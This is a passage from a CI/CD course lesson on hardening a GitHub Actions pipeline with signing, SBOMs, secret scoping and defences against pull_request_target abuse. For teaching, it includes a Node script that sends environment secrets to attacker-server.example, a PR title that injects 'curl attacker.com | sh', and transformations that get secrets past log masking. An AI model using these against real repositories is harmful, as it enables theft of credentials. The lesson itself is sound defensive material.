With no shell, an attacker who achieves code execution has no sh, no curl, no apt. The trade-off is real: you cannot run docker exec ... sh to debug, and the HEALTHCHECK from 07-03 has to be rewritten because there is no shell for the CMD. It is the classic trade-off —operational convenience in exchange for surface— and it is decided with data, not by default.
- SBOM and signing with Cosign
The SBOM (Software Bill of Materials) is the inventory of everything inside the artifact. Its value becomes obvious the day a vulnerability like Log4Shell appears and the question is "are we affected?": with an SBOM you answer with a grep in thirty seconds; without one, with a week of archaeology.
- name: Generate SBOM (CycloneDX)
uses: anchore/sbom-action@df80a981bc6edbc4e220a492d3cbe9f5547a6e75 # v0.17.9
with:
image: ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}
format: cyclonedx-json
output-file: sbom.cdx.json
artifact-name: sbom-${{ github.sha }}.cdx.json
- name: SBOM summary
run: |
TOTAL=$(jq '.components | length' sbom.cdx.json)
{
echo "## SBOM"
echo ""
echo "**$TOTAL components** inventoried."
echo ""
echo "<details><summary>First 20</summary>"
echo ""
echo "| Component | Version | Type |"
echo "|---|---|---|"
jq -r '.components[:20][] | "| \(.name) | \(.version // "—") | \(.type) |"' sbom.cdx.json
echo ""
echo "</details>"
} >> "$GITHUB_STEP_SUMMARY"
- name: Install Cosign
uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0
- name: Sign the image (keyless via OIDC)
env:
COSIGN_EXPERIMENTAL: '1'
run: |
set -Eeuo pipefail
IMAGE="ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}"
# Signing WITHOUT KEYS: Cosign asks GitHub for an OIDC token, gets an
# ephemeral certificate from Fulcio (valid for ~10 min) and records the
# signature in the public Rekor log. There is no private key to rotate,
# store or leak: the key-management problem disappears.
cosign sign --yes "$IMAGE"
- name: Attach the SBOM as a signed attestation
env:
COSIGN_EXPERIMENTAL: '1'
run: |
IMAGE="ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}"
cosign attest --yes --predicate sbom.cdx.json --type cyclonedx "$IMAGE"It requires id-token: write in the job. Verify from your own machine:
cosign verify \
--certificate-identity-regexp "https://github.com/YOUR_USERNAME/mini-reservalia/.github/workflows/ci.yml@refs/heads/main" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
ghcr.io/YOUR_USERNAME/mini-reservalia@sha256:...What you should see:
Verification for ghcr.io/your-username/mini-reservalia@sha256:3f9a... --
The following checks were performed on each of these signatures:
- The cosign claims were validated
- Existence of the claims in the transparency log was verified offline
- The code-signing certificate was verified using trusted certificate authority certificates
[{"critical":{"identity":{"docker-reference":"ghcr.io/your-username/mini-reservalia"},
"image":{"docker-manifest-digest":"sha256:3f9a..."},"type":"cosign container image signature"},
"optional":{"Issuer":"https://token.actions.githubusercontent.com",
"Subject":"https://github.com/your-username/mini-reservalia/.github/workflows/ci.yml@refs/heads/main"}}]Look at the Subject: it does not say "signed by a key", it says "signed by this workflow, of this repository, on this branch". That is the difference between keyless signing and key-based signing: the identity is not a secret somebody can steal, it is a verifiable fact about who ran what.
Try verifying with the wrong identity:
cosign verify --certificate-identity-regexp "https://github.com/other/repo/.*" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
ghcr.io/YOUR_USERNAME/mini-reservalia@sha256:...
# Error: no matching signatures
- Verifying the signature before deploying
Signing without verifying is theatre. The verification goes in cd.yml, before any deployment:
- name: Install Cosign
uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0
- name: Verify the signature BEFORE deploying
env:
COSIGN_EXPERIMENTAL: '1'
run: |
set -Eeuo pipefail
IMAGE="${{ needs.prepare.outputs.image }}"
echo "Verifying the signature of $IMAGE"
# The expected identity is EXACT: this repository, this workflow,
# this branch. A `--certificate-identity-regexp ".*"` would accept
# any signature from anyone: it would be worse than not verifying,
# because it gives a false sense of security.
if ! cosign verify \
--certificate-identity-regexp "^https://github.com/${{ github.repository }}/\.github/workflows/ci\.yml@refs/heads/main$" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
"$IMAGE" > verification.json 2>&1; then
echo "::error::INVALID SIGNATURE. Not deploying."
cat verification.json
{
echo "## 🛑 Deployment aborted: invalid signature"
echo ""
echo "The image \`$IMAGE\` is not signed by this repository's CI workflow."
echo "Possible causes: image built outside the pipeline, missing signature, or impersonation."
} >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "✅ Signature verified: built by this repository's CI." >> "$GITHUB_STEP_SUMMARY"
- name: Verify the SBOM attestation
env:
COSIGN_EXPERIMENTAL: '1'
run: |
cosign verify-attestation --type cyclonedx \
--certificate-identity-regexp "^https://github.com/${{ github.repository }}/.*" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
"${{ needs.prepare.outputs.image }}" > /dev/null
echo "✅ SBOM verified and attached to the artifact." >> "$GITHUB_STEP_SUMMARY"The check that it fails when it should fail. Push an unsigned image and try to deploy it:
docker pull alpine:3.20
docker tag alpine:3.20 ghcr.io/YOUR_USERNAME/mini-reservalia:fake
docker push ghcr.io/YOUR_USERNAME/mini-reservalia:fake
DIGEST=$(docker buildx imagetools inspect ghcr.io/YOUR_USERNAME/mini-reservalia:fake --format '{{.Manifest.Digest}}')
gh workflow run cd.yml -f digest="$DIGEST"What you should see:
You have just closed off the "somebody with registry access swaps the image" attack. With verification in place, the pipeline only deploys artifacts that it built itself, and it can prove it cryptographically.
Clean up: delete the fake version from the Packages interface.
- Well-managed secrets and the limits of masking
The three levels, and which one to use:
| Level | Scope | When to use it |
|---|---|---|
| Repository | Any workflow, any job, any branch | Low-impact credentials only |
| Environment | Only the jobs with environment: X, and only after passing its protection rules |
Anything that touches production |
| Organisation | The repositories you authorise | Shared credentials, with a repository list |
The decisive difference: an environment secret does not materialise until the deployment is approved. A production job waiting for review has no access to the production credential; it does not even exist in its execution environment. A repository secret, by contrast, can be read by any workflow, including one a collaborator adds tomorrow in a PR.
Move GRAFANA_TOKEN where it belongs:
# Wrong: reachable from any workflow
gh secret delete GRAFANA_TOKEN
# Right: only from jobs with environment: production, and only after approval
gh secret set GRAFANA_TOKEN --env production --body "glsa_xxxxx"
gh secret list --env productionMasking, and why it is not a guarantee. Try printing a secret:
masking-test:
name: Limits of masking
runs-on: ubuntu-latest
steps:
- name: 1. Print the secret directly
run: |
echo "Direct attempt: ${{ secrets.TEST_SECRET }}"
echo "Via a variable: $SECRET"
env:
SECRET: ${{ secrets.TEST_SECRET }}
# OUTPUT: "Direct attempt: ***" and "Via a variable: ***"
# Masking works: Actions looks for the exact value on every log
# line and replaces it with ***.
- name: 2. Transformations that BREAK the masking
env:
SECRET: ${{ secrets.TEST_SECRET }}
run: |
echo "--- base64 ---"
echo "$SECRET" | base64
# OUTPUT: bXlfc2VjcmV0LXN1cGVyLTEyMw== <- NOT masked
echo "--- character by character ---"
echo "$SECRET" | fold -w1 | tr '\n' ' '
# OUTPUT: m y _ s e c r e t ... <- NOT masked
echo "--- reversed ---"
echo "$SECRET" | rev
# OUTPUT: 321-repus-terces_ym <- NOT masked
echo "--- in hexadecimal ---"
echo -n "$SECRET" | xxd -p
# OUTPUT: 6d795f7365637265742d... <- NOT masked
echo "--- in halves ---"
echo "first half: ${SECRET:0:8}"
echo "second half: ${SECRET:8}"
# OUTPUT: both visible <- NOT maskedCreate the secret and run it:
What you should see: step 1 with *** on both lines; step 2 with the secret readable in five different formats.
What this demonstrates: masking is a string match, not a security barrier. Actions looks for the literal value of the secret in the log stream and substitutes it. Any transformation —encoding, slicing, reversing, compressing— produces a string that does not match and that comes out of the log intact. And Actions logs can be read by any collaborator and are kept for 90 days.
The practical consequences:
- Never
set -xin a script that handles secrets. Bash tracing prints every expanded command; if the secret goes through a pipe,set -xcan expose it in ways masking does not cover. - Beware of verbose tools.
curl -vprints the headers, includingAuthorization. Usecurl -sSand pass credentials via--configor stdin, not on the command line (where anyone withpscan see them anyway). - Library error dumps usually include the full configuration. A stack trace from an HTTP client can carry the entire authentication header.
- The best defence is not having the secret. OIDC (07-03) replaces long-lived credentials with ten-minute tokens that only work from that workflow. A leaked ephemeral token is an incident; a leaked long-lived key is a breach.
Add a defensive rule to your scripts:
# At the top of any script that handles credentials:
set +x # never trace
export PS4='' # in case something enables it
# And disable core dumps, which could contain the secret in memory:
ulimit -c 0
- The risk of third-party code:
pull_request_target
pull_request_targetThis is the most dangerous asymmetry in GitHub Actions and it deserves to be seen with a concrete example.
pull_request |
pull_request_target |
|
|---|---|---|
| Workflow code that runs | The one on the PR branch | The one on the base branch (main) |
| Execution context | Fork | Original repository |
| Access to secrets | No (on PRs from forks) | Yes, to all of them |
GITHUB_TOKEN |
Read only | Read and write |
actions/checkout by default |
The PR code | The code on main |
pull_request_target exists for legitimate cases: labelling PRs, commenting, updating a project board. They all have something in common: they do not need the PR code.
The vulnerable workflow —and this exact pattern has appeared in very well-known repositories—:
# ❌❌❌ VULNERABLE. DO NOT USE. Teaching example.
name: Vulnerable PR
on:
pull_request_target: # 1. Runs with secrets and a write token
types: [opened, synchronize]
jobs:
check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
# 2. THE FLAW: it explicitly checks out the code FROM THE PR,
# which is a stranger's code, in a privileged context.
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v4
# 3. THE EXECUTION: `npm ci` runs the `postinstall` scripts
# from THE ATTACKER's package.json. That is it: arbitrary
# code execution with all your secrets in the environment.
- run: npm ci
- run: npm test
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}The attack, step by step. An attacker forks the repository and, on their branch, modifies package.json:
With .exfiltrate.js:
// The attacker's code, running on YOUR runner with YOUR secrets.
// It walks the whole environment and sends it out.
const loot = Object.entries(process.env)
.filter(([k]) => /TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AWS|NPM/i.test(k))
.map(([k, v]) => `${k}=${v}`)
.join('\n');
// Masking does NOT help: the secret is not printed, it is SENT.
fetch('https://attacker-server.example/collect', {
method: 'POST',
body: loot,
});Open the PR and wait. The workflow runs with the original repository's secrets, executes the attacker's postinstall and sends them everything. The attacker does not even need the PR to be approved: opening it is enough. And with a write-capable GITHUB_TOKEN, they could also push straight to main.
The three mitigations, in order of preference:
A. Do not use pull_request_target (the right answer in 95% of cases).
A PR from a fork will have no access to secrets and the GITHUB_TOKEN will be read-only. If your CI needs secrets to validate an external PR, you have a design problem: the tests should work without production credentials (that is what the test doubles from 07-02 are for).
B. If you really do need pull_request_target, do not check out the PR code.
on:
pull_request_target:
types: [opened]
permissions:
pull-requests: write # the minimum needed to label
contents: read
jobs:
label:
runs-on: ubuntu-latest
steps:
# NO `ref:` -> `main` is checked out, trusted code.
# In fact, this does not even need a checkout.
- name: Label according to the title
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
TITLE: ${{ github.event.pull_request.title }}
run: |
# The PR title is ATTACKER input. Never interpolate it
# with ${{ }} directly in a `run`: a title such as
# "; curl attacker.com | sh #"
# would turn into a command. That is why it goes through `env:`.
case "$TITLE" in
feat*) gh pr edit "${{ github.event.number }}" --add-label enhancement ;;
fix*) gh pr edit "${{ github.event.number }}" --add-label bug ;;
esacThat comment about ${{ }} inside a run is an attack in its own right —expression injection— and it is more common than the pull_request_target one: any user-controlled data (PR title, issue body, branch name, commit message) interpolated directly into a run: is command execution. The rule is simple and absolute: user data comes in through env:, never through ${{ }} inside a script.
C. The two-workflow pattern (what Reservalia does for its per-PR previews):
# Workflow 1: runs WITHOUT privileges, with the PR code
name: PR CI
on: pull_request
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci && npm run build
- uses: actions/upload-artifact@v4
with: { name: dist, path: dist/ }# Workflow 2: runs WITH privileges, but NEVER executes PR code
name: Publish preview
on:
workflow_run:
workflows: ['PR CI']
types: [completed]
permissions:
contents: read
pull-requests: write
jobs:
publish:
if: github.event.workflow_run.conclusion == 'success'
runs-on: ubuntu-latest
steps:
# It only DOWNLOADS the artifact: it runs nothing from the PR.
- uses: actions/download-artifact@v4
with:
name: dist
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ secrets.GITHUB_TOKEN }}
# ...upload to a preview host and comment on the PR...The separation is the key: the unprivileged job runs untrusted code; the privileged job only manipulates data. Never both at once.
Checking your own repository:
grep -rn 'pull_request_target' .github/workflows/ && echo "REVIEW EACH ONE" || echo "OK: none"
grep -rn 'ref:.*pull_request.head' .github/workflows/ && echo "DANGER" || echo "OK"
- The final hardening checklist
Walk through it and tick. It is the same list the lesson opened with, now resolved.
Permissions and identity
- [x]
Read repository contentsas the repository's default permission - [x] Explicit
permissions:at workflow level in all five workflows - [x] Targeted widening only in the job that needs it (
packages: writeonly inpublish) - [x] No long-lived secrets on the critical path (registry via
GITHUB_TOKEN, signing via OIDC) - [x]
GRAFANA_TOKENmoved to an environment secret, not a repository one - [x] Production with a required reviewer and branches restricted to
main
Supply chain
- [x] Every action pinned to a 40-character SHA with the version comment
- [x] Dependabot configured for actions, npm and Docker, with grouping
- [x] Lockfile committed and
npm ciin every job - [x] Image published and deployed by digest, never by tag
- [x] Image signed with Cosign keyless and signature verified before deploying
- [x] CycloneDX SBOM generated, attached as an attestation and verified
Scans (all five)
- [x] Secrets: Gitleaks in CI with
--redact+ pre-commit hook - [x] SCA:
npm auditwith a severity policy viajq - [x] SAST: CodeQL with
security-extended, results in the Security tab - [x] Image: Trivy with
ignore-unfixedand its own blocking policy - [x] IaC / configuration: (see exercise 3)
- [x] All of them upload SARIF to Code scanning
- [x] None of them carries
|| trueorcontinue-on-errorto hide findings
Policy and process
- [x]
security/POLICY.mdwith the severity table - [x] Exceptions with a justification, an approver and an expiry date
- [x] A job that fails when an exception expires
- [x] Leaked-secret procedure documented (rotate → investigate → clean → prevent)
Runtime
- [x] Image with a non-root user (
USER node) - [x]
HEALTHCHECKdefined - [x] No credentials in the image (
.dockerignoreexcludes.env,.git) - [x] Configuration variables per environment, not baked in
Third-party code
- [x] No
pull_request_target(or, if there is one, with no checkout of the PR code) - [x] No user data interpolated with
${{ }}inside arun: - [x] Self-hosted runners only on a private repository
Common Mistakes and Tips
Symptom: Resource not accessible by integration after applying permissions.
Cause: a specific permission is missing, or the repository default is more restrictive than what the job asks for.
Fix: check the table in section 3. Diagnostic trick: in the run log, GitHub prints the complete block of granted permissions at the start of the job; compare it with what the step needs.
Symptom: Gitleaks flags package-lock.json as full of secrets.
Cause: the integrity hashes (sha512-...) have the entropy of a key.
Fix: the allowlist in .gitleaks.toml. But do not add broad patterns: an allowlist of .*\.json disables detection in every configuration file, which is exactly where secrets live.
Symptom: cosign verify fails with no matching signatures on an image you did sign.
Causes: (1) you are verifying by tag and the tag now points at a different image —always verify by digest—; (2) the certificate-identity-regexp does not match (was it signed by the main workflow or by one on a branch?); (3) you signed the tag and are verifying the digest, or the other way round.
Fix: look at what identity the real signature has: cosign triangulate <image> and then crane manifest on the result.
Symptom: the image scan finds 40 CVEs "with no possible fix".
Cause: base vulnerabilities with no published patch.
Fix: ignore-unfixed: true. Blocking on something you cannot fix only teaches the team to ignore the scanner. If the base keeps accumulating unpatched CVEs, the answer is to change base (distroless), not to pile up exceptions.
Symptom: Dependabot opens 15 PRs and nobody looks at them.
Cause: no grouping and no limits.
Fix: groups, open-pull-requests-limit and ignore for majors, as in the dependabot.yml from section 4. A Dependabot that generates noise is a Dependabot that has been disabled in practice.
Symptom: CodeQL takes 15 minutes and every PR crawls.
Cause: security-extended on every PR.
Fix: CodeQL on push to main and on a weekly schedule, not on every PR; or security-and-quality on PRs and security-extended on the scheduled run. Security has to be fast so that nobody wants to skip it.
Tip — the order of the scans matters. Cheap and deterministic first: secrets (seconds) → lint → SCA (seconds) → tests → build → image scan (minutes) → SAST (minutes). A PR with a committed key should die in the first job.
Tip — security that gets in the way gets switched off. Every control you add must meet three conditions: low false positives, an actionable message (what to do, not just what is wrong), and an explicit exception route with an expiry. A control that fails 30% of the time for no reason will be the first thing somebody comments out when something has to ship in a hurry.
Exercises
Exercise 1: a security aggregator job with a single gate
The five scans produce five checks. Create a security-ok job that aggregates the results by applying the policy (criticals always block; highs only on main; mediums report) and that is the only required security check, with a unified summary.
Exercise 2: detecting actions that stop being pinned
A collaborator adds uses: someone/action@v1 in a PR. Write a control that detects it, fails and explains how to fix it.
Exercise 3: the fifth scan — configuration and IaC
The configuration scan is missing. Add Checkov or Trivy in config mode over the Dockerfile, the docker-compose.yml files and the workflows themselves, with at least three custom rules.
Solutions
Solution 1.
security-ok:
name: Security OK
runs-on: ubuntu-latest
needs: [secrets, sca, codeql, image, config]
if: always()
permissions:
contents: read
security-events: read
steps:
- name: Aggregate the results
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -Eeuo pipefail
declare -A RESULTS=(
[secrets]="${{ needs.secrets.result }}"
[sca]="${{ needs.sca.result }}"
[codeql]="${{ needs.codeql.result }}"
[image]="${{ needs.image.result }}"
[config]="${{ needs.config.result }}"
)
{
echo "## 🔒 Security summary"
echo ""
echo "| Scan | Result | Blocks |"
echo "|---|---|---|"
} >> "$GITHUB_STEP_SUMMARY"
FAILURES=0
for scan in "${!RESULTS[@]}"; do
R="${RESULTS[$scan]}"
case "$R" in
success) ICON='✅'; BLOCKS='—' ;;
skipped) ICON='⏭️'; BLOCKS='—' ;;
cancelled) ICON='🚫'; BLOCKS='Yes'; FAILURES=$((FAILURES+1)) ;;
*) ICON='❌'; BLOCKS='Yes'; FAILURES=$((FAILURES+1)) ;;
esac
echo "| $scan | $ICON $R | $BLOCKS |" >> "$GITHUB_STEP_SUMMARY"
done
# Open Code scanning alerts, by severity
ALERTS=$(gh api "repos/${{ github.repository }}/code-scanning/alerts?state=open&per_page=100" \
--jq 'group_by(.rule.security_severity_level // .rule.severity)
| map({sev: .[0].rule.security_severity_level // .[0].rule.severity, n: length})' \
2>/dev/null || echo '[]')
CRIT=$(jq -r '[.[] | select(.sev=="critical") | .n] | add // 0' <<< "$ALERTS")
HIGH=$(jq -r '[.[] | select(.sev=="high") | .n] | add // 0' <<< "$ALERTS")
MEDIUM=$(jq -r '[.[] | select(.sev=="medium") | .n] | add // 0' <<< "$ALERTS")
{
echo ""
echo "### Open Code scanning alerts"
echo ""
echo "| Severity | No. | Policy |"
echo "|---|---|---|"
echo "| Critical | $CRIT | Always blocks |"
echo "| High | $HIGH | Blocks on \`main\` |"
echo "| Medium | $MEDIUM | Reports |"
} >> "$GITHUB_STEP_SUMMARY"
# Applying the policy
if [ "$CRIT" -gt 0 ]; then
echo "::error::$CRIT open CRITICAL alert(s)"; FAILURES=$((FAILURES+1))
fi
if [ "$HIGH" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "::error::$HIGH open HIGH alert(s) on main"; FAILURES=$((FAILURES+1))
fi
if [ "$FAILURES" -gt 0 ]; then
echo "" >> "$GITHUB_STEP_SUMMARY"
echo "### ❌ Security gate CLOSED" >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "" >> "$GITHUB_STEP_SUMMARY"
echo "### ✅ Security gate OPEN" >> "$GITHUB_STEP_SUMMARY"Then, in the ruleset, replace the five checks with Security OK (alongside CI OK). It is the same pattern as the aggregator job from 07-02, and for the same reason: branch protection should not know the internal shape of the pipeline.
Solution 2.
pinned-actions:
name: Actions pinned by SHA
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Check that every action is pinned
run: |
set -Eeuo pipefail
UNPINNED=0
{
echo "## Action pinning"
echo ""
} >> "$GITHUB_STEP_SUMMARY"
while IFS= read -r finding; do
FILE="${finding%%:*}"
REST="${finding#*:}"
LINE="${REST%%:*}"
REF=$(grep -oP '(?<=uses: ).*' <<< "$finding" | sed 's/ *#.*//')
# Legitimate exceptions: local actions and docker:// containers
[[ "$REF" == ./* ]] && continue
[[ "$REF" == docker://* ]] && continue
VERSION="${REF##*@}"
if [[ "$VERSION" =~ ^[0-9a-f]{40}$ ]]; then continue; fi
UNPINNED=$((UNPINNED + 1))
ACTION="${REF%@*}"
REPO=$(cut -d/ -f1,2 <<< "$ACTION")
SHA=$(gh api "repos/${REPO}/git/refs/tags/${VERSION}" --jq '.object.sha' 2>/dev/null || echo '<unresolved>')
echo "::error file=${FILE},line=${LINE}::Unpinned action: ${REF}. Use: ${ACTION}@${SHA} # ${VERSION}"
echo "- \`$FILE:$LINE\` → \`$REF\` → \`${ACTION}@${SHA} # ${VERSION}\`" >> "$GITHUB_STEP_SUMMARY"
done < <(grep -rn 'uses:' .github/workflows/ || true)
if [ "$UNPINNED" -gt 0 ]; then
{
echo ""
echo "**$UNPINNED action(s) not pinned by SHA.**"
echo ""
echo "A tag such as \`@v4\` can be moved: whoever controls the action can"
echo "run arbitrary code on this runner with access to the secrets."
echo ""
echo "Fix it automatically with:"
echo '```bash'
echo './scripts/pin-actions.sh && git diff'
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "✅ Every action is pinned by SHA." >> "$GITHUB_STEP_SUMMARY"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}What makes this control useful rather than merely correct: it does not say "this is wrong", it says exactly which line to replace and why. A control that forces you to look up the fix in the documentation eventually gets switched off.
Solution 3.
config:
name: Configuration scan
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Trivy in config mode (Dockerfile, compose, workflows)
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
with:
scan-type: config
scan-ref: .
format: sarif
output: trivy-config.sarif
severity: 'CRITICAL,HIGH,MEDIUM'
exit-code: '0'
- name: Upload to Security
if: always()
uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
sarif_file: trivy-config.sarif
category: trivy-config
- name: Custom project rules
run: |
set -Eeuo pipefail
FAILURES=0
error() { echo "::error file=$1::$2"; FAILURES=$((FAILURES + 1)); }
# --- Rule 1: the final image NEVER runs as root -------------------
# It is checked in the LAST stage: a USER in an intermediate stage
# protects nothing.
LAST_STAGE=$(awk '/^FROM /{n=NR} END{print n}' Dockerfile)
if ! awk -v start="$LAST_STAGE" 'NR > start && /^USER /' Dockerfile | grep -qv 'USER root'; then
error Dockerfile "The final image declares no non-root USER"
fi
# --- Rule 2: no `latest` on any base image ------------------------
if grep -nE '^FROM .*:latest|^FROM [^:@]+$' Dockerfile; then
error Dockerfile "Base image with no pinned version (:latest or no tag)"
fi
# --- Rule 3: no workflow with permissions: write-all --------------
if grep -rn 'permissions: *write-all' .github/workflows/; then
error .github/workflows "permissions: write-all grants every permission"
fi
# --- Rule 4: no secret interpolated into a `run:` -----------------
# Secrets must come in through `env:`, where masking and scoping
# work better and they do not end up in the shell history.
if grep -rnP 'run:.*\$\{\{\s*secrets\.' .github/workflows/; then
error .github/workflows "Secret interpolated directly into a run:. Pass it through env:"
fi
# --- Rule 5: no user data interpolated into a `run:` --------------
if grep -rnP 'run:[\s\S]{0,200}\$\{\{\s*github\.event\.(pull_request\.(title|body)|issue\.(title|body)|comment\.body)' .github/workflows/; then
error .github/workflows "User-controlled data interpolated into a run: (expression injection)"
fi
# --- Rule 6: no database ports published in compose ---------------
if grep -rnE '^\s+- .?(5432|3306|27017|6379):' ./*.yml observability/*.yml 2>/dev/null; then
error docker-compose.yml "Database port published on the host"
fi
if [ "$FAILURES" -gt 0 ]; then
echo "### ❌ $FAILURES configuration rule(s) broken" >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "### ✅ Configuration compliant with the project rules" >> "$GITHUB_STEP_SUMMARY"Rule 1 is the most instructive: it checks USER only in the last stage, because a USER node in the build stage does not affect the final image. It is the kind of mistake a generic tool overlooks and that a custom rule, written by somebody who knows the Dockerfile, does catch. Custom rules do not replace tools: they cover what the tools do not know about your project.
Optional challenge
Implement a Kubernetes-style admission policy: a job that, before deploying, verifies in a single pass that the artifact meets all the requirements —signed by the right workflow, with an SBOM attached, scanned with no criticals, built from main, with SLSA level 2 provenance— and that issues a single verdict. It is the same principle Kyverno or Gatekeeper apply in a cluster: the policy lives outside the pipeline and the pipeline consults it, so that hardening it does not require touching every workflow. If you write it as a script (scripts/admit.sh) that returns 0 or 1 along with a report, you will be able to reuse it as-is in the final project.
What you have built
- A documented audit of your own pipeline, with ten findings classified by severity, and their correction verified.
- Least privilege across the five workflows, with the repository default closed and the experience of reading the error when one is missing.
- Every action pinned by SHA, a script that automates it, a control that prevents regression and Dependabot keeping them up to date.
- The five scans: secrets (Gitleaks, with
--redactand a local hook), SCA (npm auditwith a policy viajq), SAST (CodeQL, with a real injection detected and fixed), image (Trivy withignore-unfixed) and configuration (custom rules). - A written severity policy, with exceptions that carry a justification, an approver and an expiry date, and a job that fails when they expire.
- A secret leaked on purpose and the complete response procedure carried out in the right order: rotate, investigate, clean, prevent, post-mortem.
- A CycloneDX SBOM attached as an attestation and a keyless Cosign signature verified before deploying, checked with a fake image the pipeline rejected.
- The practical demonstration that secret masking breaks with five trivial transformations, and its consequences.
- The
pull_request_targetattack understood at code level, with its three mitigations.
Conclusion
The pipeline is no longer merely capable: it is defensible. And it is worth pinning down the idea holding all of the above together, because these are not ten tools but a single principle applied ten times: every link in the chain must be able to prove where the previous one came from. The code comes from a reviewed PR on a protected branch; the dependencies, from a verified and audited lockfile; the image, from a reproducible build that left a signature and an SBOM behind; the deployment, from an ephemeral identity that only existed for ten minutes; and each of those steps checks the previous one instead of trusting it. That is what "secure supply chain" means, and it is also what makes an incident investigable: at every point there is an answer to "who put this here and with what authority?".
You have also learned what security talks never mention: that a control that gets in the way gets switched off. Every piece of this lesson comes with an explicit exception route, with a name, a reason and a date, because the alternative —a || true at eleven at night— is worse than not having the control at all. The security that survives is the security you can negotiate in writing.
That closes the five guided labs. You have a complete end-to-end pipeline: it integrates, verifies in three layers, builds an immutable artifact, scans it, signs it, deploys it behind a gate, watches it, reverts on its own if things get worse, and measures itself. You built it step by step, following instructions.
In 07-06 there are no instructions. The final project is the brief: a company context with its constraints and its budget, a list of mandatory requirements each with its own verifiable acceptance criterion —"an external reviewer must be able to check that…"—, some deliverables (the repository, a PIPELINE.md justifying every decision and its trade-off, a POSTMORTEM.md for a failure you will cause on purpose, and a dashboard with the metrics), a self-assessment rubric you can apply on your own, and a work plan in five sessions. You build it yourself, on your own project if you have one or on Mini-Reservalia if not, and deciding what you leave out and why, which is the part this module has not yet made you do.
CI/CD Course: Continuous Integration and Deployment
Module 1: Introduction to CI/CD
- Basic CI/CD Concepts
- Benefits of CI/CD
- Popular CI/CD Tools
- The Course Project: the Application We Are Going to Automate
- DORA Metrics: How Software Delivery Is Measured
Module 2: Continuous Integration (CI)
- Introduction to Continuous Integration
- Setting Up a CI Environment
- Build Automation
- Automated Testing
- Code Quality and Static Analysis
- Artifacts, Versioning and Promotion
- Integration with Version Control
Module 3: Continuous Deployment (CD)
- Introduction to Continuous Deployment
- Deployment Automation
- Infrastructure as Code and Reproducible Environments
- Deployment Strategies
- Feature Flags, Rollback and Failure Recovery
- Monitoring and Feedback
Module 4: Advanced CI/CD Practices
- CI/CD Pipelines
- Dependency Management
- Security in CI/CD
- Scalability and Performance
- Pipeline as Code: Templates, Reuse and Testing the Pipeline
- Databases in the Pipeline: Safe Migrations
Module 5: Implementing CI/CD in Real Projects
- Case Study: Web Project
- Case Study: Mobile Application
- Case Study: Microservices
- Case Study: Modernising a Legacy Project
Module 6: Tools and Technologies
- Jenkins
- GitLab CI/CD
- CircleCI
- Travis CI
- Docker and Kubernetes
- GitHub Actions in Depth
- Comparison and Criteria for Choosing a Tool
Module 7: Practical Exercises
- Exercise 1: Setting Up a Basic Pipeline
- Exercise 2: Integrating Automated Tests
- Exercise 3: Deploying to a Production Environment
- Exercise 4: Monitoring and Feedback
- Exercise 5: Hardening the Pipeline with Security and Secrets
- Final Project: A Complete End-to-End Pipeline
